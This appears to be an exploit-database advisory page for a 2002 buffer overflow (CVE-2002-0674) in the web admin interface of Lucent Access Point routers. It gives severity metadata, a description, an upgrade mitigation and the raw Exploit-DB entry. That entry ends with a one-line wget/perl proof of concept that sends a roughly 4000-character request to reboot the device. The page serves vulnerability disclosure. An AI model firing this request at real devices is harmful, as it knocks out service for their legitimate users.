header-logo
Suggest Exploit
vendor:
Access Point Series
by:
SecurityFocus
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Access Point Series
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: CVE-2002-0674
CPE: h:lucent:access_point_series
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Lucent Access Point Series Buffer Overflow Vulnerability

A buffer overflow vulnerability exists in the Lucent Access Point series of routers due to insufficient bounds checking of user-supplied input. An attacker can send a HTTP request consisting of approximately 4000 characters of data to cause the device to reboot, resulting in an interruption of service for legitimate users of the device.

Mitigation:

Upgrade to the latest version of the Lucent Access Point series of routers.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5333/info

The Lucent Access Point series of routers support a web based administrative interface. An error has been reported in the embedded HTTP server.

It has been reported that sending a HTTP request consisting of approximately 4000 characters of data will cause the device to reboot. This may result in an interruption of service for legitimate users of the device. 

wget `perl -e 'print "http://router_ip/"; print "A"x4000; print "/";`